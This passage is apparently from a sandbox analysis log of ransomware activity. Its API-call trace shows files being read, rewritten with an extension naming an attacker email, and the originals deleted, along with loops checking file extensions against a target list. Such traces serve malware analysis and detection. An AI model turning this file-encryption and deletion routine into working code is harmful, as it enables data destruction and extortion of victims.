returned 1 [0065.079] lstrlenW (lpString="UiInfo.xml") returned 10 [0065.079] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.079] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=39050) returned 1 [0065.079] CloseHandle (hObject=0x344) returned 1 [0065.079] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0065.079] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.080] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.080] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.080] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.082] GetLastError () returned 0x0 [0065.082] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x988a, lpOverlapped=0x0) returned 1 [0065.085] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9890, lpOverlapped=0x0) returned 1 [0065.087] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.087] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe8, lpOverlapped=0x0) returned 1 [0065.087] SetEndOfFile (hFile=0x37c) returned 1 [0065.087] CloseHandle (hObject=0x37c) returned 1 [0065.090] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.090] SetEndOfFile (hFile=0x344) returned 1 [0065.091] CloseHandle (hObject=0x344) returned 1 [0065.091] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.091] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".doc") returned 4 [0065.092] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString=".docx") returned 5 [0065.092] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.092] lstrlenW (lpString=".pdf") returned 4 [0065.092] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString=".xls") returned 4 [0065.092] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString=".xlsx") returned 5 [0065.092] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.092] lstrlenW (lpString=".ppt") returned 4 [0065.092] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".zip") returned 4 [0065.092] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.092] lstrlenW (lpString=".rar") returned 4 [0065.092] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString=".bz2") returned 4 [0065.092] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString=".7z") returned 3 [0065.092] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".dbf") returned 4 [0065.092] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".1cd") returned 4 [0065.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".jpg") returned 4 [0065.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.092] lstrlenW (lpString=".doc") returned 4 [0065.093] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString=".docx") returned 5 [0065.093] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0065.093] lstrlenW (lpString=".pdf") returned 4 [0065.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString=".xls") returned 4 [0065.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString=".xlsx") returned 5 [0065.093] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0065.093] lstrlenW (lpString=".ppt") returned 4 [0065.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.093] lstrlenW (lpString=".zip") returned 4 [0065.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.093] lstrlenW (lpString=".rar") returned 4 [0065.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString=".bz2") returned 4 [0065.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString=".7z") returned 3 [0065.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.093] lstrlenW (lpString=".dbf") returned 4 [0065.093] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.093] lstrlenW (lpString=".1cd") returned 4 [0065.093] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0065.093] lstrlenW (lpString=".jpg") returned 4 [0065.093] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.094] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0065.094] lstrlenW (lpString="header.bmp") returned 10 [0065.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.095] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3628) returned 1 [0065.095] CloseHandle (hObject=0x344) returned 1 [0065.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0065.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.095] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.095] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.096] GetLastError () returned 0x0 [0065.096] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xe2c, lpOverlapped=0x0) returned 1 [0065.097] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe30, lpOverlapped=0x0) returned 1 [0065.099] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.099] WriteFile (in: hFile=0x37c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe8, lpOverlapped=0x0) returned 1 [0065.099] SetEndOfFile (hFile=0x37c) returned 1 [0065.099] CloseHandle (hObject=0x37c) returned 1 [0065.100] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.100] SetEndOfFile (hFile=0x344) returned 1 [0065.101] CloseHandle (hObject=0x344) returned 1 [0065.101] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.102] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.102] lstrlenW (lpString=".doc") returned 4 [0065.102] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.102] lstrlenW (lpString=".docx") returned 5 [0065.102] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0065.102] lstrlenW (lpString=".pdf") returned 4 [0065.102] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.102] lstrlenW (lpString=".xls") returned 4 [0065.102] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.102] lstrlenW (lpString=".xlsx") returned 5 [0065.102] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0065.102] lstrlenW (lpString=".ppt") returned 4 [0065.102] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString=".zip") returned 4 [0065.103] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString=".rar") returned 4 [0065.103] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString=".bz2") returned 4 [0065.103] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString=".7z") returned 3 [0065.103] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString=".dbf") returned 4 [0065.103] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString=".1cd") returned 4 [0065.103] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString=".jpg") returned 4 [0065.103] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.103] lstrlenW (lpString=".doc") returned 4 [0065.103] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString=".docx") returned 5 [0065.103] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0065.103] lstrlenW (lpString=".pdf") returned 4 [0065.103] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0065.103] lstrlenW (lpString=".xls") returned 4 [0065.104] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0065.104] lstrlenW (lpString=".xlsx") returned 5 [0065.104] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0065.104] lstrlenW (lpString=".ppt") returned 4 [0065.104] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0065.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.104] lstrlenW (lpString=".zip") returned 4 [0065.687] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0065.722] lstrlenW (lpString=".rar") returned 4 [0065.722] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0065.722] lstrlenW (lpString=".bz2") returned 4 [0065.723] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0065.723] lstrlenW (lpString=".7z") returned 3 [0065.723] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.723] lstrlenW (lpString=".dbf") returned 4 [0065.723] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.723] lstrlenW (lpString=".1cd") returned 4 [0065.723] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0065.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0065.723] lstrlenW (lpString=".jpg") returned 4 [0065.723] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0065.723] lstrcmpiW (lpString1=".p7b", lpString2=".NEWS") returned 1 [0065.723] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0065.723] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.725] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4662) returned 1 [0065.725] CloseHandle (hObject=0x374) returned 1 [0065.725] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0065.725] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.725] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.725] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.725] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.725] lstrlenW (lpString=".doc") returned 4 [0065.726] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0065.726] lstrlenW (lpString=".docx") returned 5 [0065.726] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0065.726] lstrlenW (lpString=".pdf") returned 4 [0065.726] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0065.726] lstrlenW (lpString=".xls") returned 4 [0065.726] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0065.726] lstrlenW (lpString=".xlsx") returned 5 [0065.726] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0065.726] lstrlenW (lpString=".ppt") returned 4 [0065.726] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0065.726] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.726] lstrlenW (lpString=".zip") returned 4 [0065.726] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0065.726] lstrlenW (lpString=".rar") returned 4 [0065.726] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0065.726] lstrlenW (lpString=".bz2") returned 4 [0065.726] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0065.726] lstrlenW (lpString=".7z") returned 3 [0065.726] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0065.726] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.726] lstrlenW (lpString=".dbf") returned 4 [0065.726] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0065.726] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.726] lstrlenW (lpString=".1cd") returned 4 [0065.726] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0065.726] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.726] lstrlenW (lpString=".jpg") returned 4 [0065.726] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString=".doc") returned 4 [0065.727] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0065.727] lstrlenW (lpString=".docx") returned 5 [0065.727] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0065.727] lstrlenW (lpString=".pdf") returned 4 [0065.727] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0065.727] lstrlenW (lpString=".xls") returned 4 [0065.727] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0065.727] lstrlenW (lpString=".xlsx") returned 5 [0065.727] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0065.727] lstrlenW (lpString=".ppt") returned 4 [0065.727] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString=".zip") returned 4 [0065.727] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0065.727] lstrlenW (lpString=".rar") returned 4 [0065.727] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0065.727] lstrlenW (lpString=".bz2") returned 4 [0065.727] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0065.727] lstrlenW (lpString=".7z") returned 3 [0065.727] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString=".dbf") returned 4 [0065.727] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString=".1cd") returned 4 [0065.727] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0065.727] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0065.727] lstrlenW (lpString=".jpg") returned 4 [0065.727] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0065.728] lstrcmpiW (lpString1=".BAK", lpString2=".NEWS") returned -1 [0065.728] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0065.728] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.728] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8192) returned 1 [0065.728] CloseHandle (hObject=0x374) returned 1 [0065.728] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0065.728] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootsect.bak.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.728] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0065.729] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.729] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.729] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.729] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootsect.bak.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0065.730] GetLastError () returned 0x0 [0065.730] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2000, lpOverlapped=0x0) returned 1 [0065.732] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2010, lpOverlapped=0x0) returned 1 [0065.733] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.733] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.733] SetEndOfFile (hFile=0x308) returned 1 [0065.734] CloseHandle (hObject=0x308) returned 1 [0065.735] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.735] SetEndOfFile (hFile=0x374) returned 1 [0065.736] CloseHandle (hObject=0x374) returned 1 [0065.736] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x27) returned 1 [0065.736] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0065.736] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.736] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.736] lstrlenW (lpString=".doc") returned 4 [0065.736] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0065.736] lstrlenW (lpString=".docx") returned 5 [0065.736] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0065.737] lstrlenW (lpString=".pdf") returned 4 [0065.737] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".xls") returned 4 [0065.737] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".xlsx") returned 5 [0065.737] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0065.737] lstrlenW (lpString=".ppt") returned 4 [0065.737] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] lstrlenW (lpString=".zip") returned 4 [0065.737] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".rar") returned 4 [0065.737] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".bz2") returned 4 [0065.737] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".7z") returned 3 [0065.737] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] lstrlenW (lpString=".dbf") returned 4 [0065.737] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] lstrlenW (lpString=".1cd") returned 4 [0065.737] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] lstrlenW (lpString=".jpg") returned 4 [0065.737] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.737] 